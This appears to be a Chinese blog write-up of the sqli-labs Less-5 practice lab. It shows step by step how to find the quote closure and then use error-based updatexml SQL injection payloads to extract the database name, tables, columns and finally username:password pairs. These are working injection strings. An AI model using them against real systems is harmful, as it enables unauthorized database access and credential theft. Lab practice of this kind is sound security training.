SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
小刘|30 分钟前
深入理解 SQL 注入漏洞及解决方案
数据库·sql
数巨小码人1 小时前
QT SQL框架及QSqlDatabase类
jvm·sql·qt
天上掉下来个程小白1 小时前
案例-14.文件上传-简介
数据库·spring boot·后端·mybatis·状态模式
哆木1 小时前
排查生产sql查询缓慢
数据库·sql·mysql
橘子师兄2 小时前
分页功能组件开发
数据库·python·django
book01213 小时前
MySql数据库运维学习笔记
运维·数据库·mysql
纠结哥_Shrek3 小时前
Oracle和Mysql的区别
数据库·mysql·oracle
极客先躯3 小时前
说说高级java每日一道面试题-2025年2月13日-数据库篇-请说说 MySQL 数据库的锁 ?
java·数据库·mysql·数据库的锁·模式分·粒度分·属性分
做梦敲代码3 小时前
达梦统计信息
数据库·达梦数据库
jiugie4 小时前
MongoDB学习
数据库·python·mongodb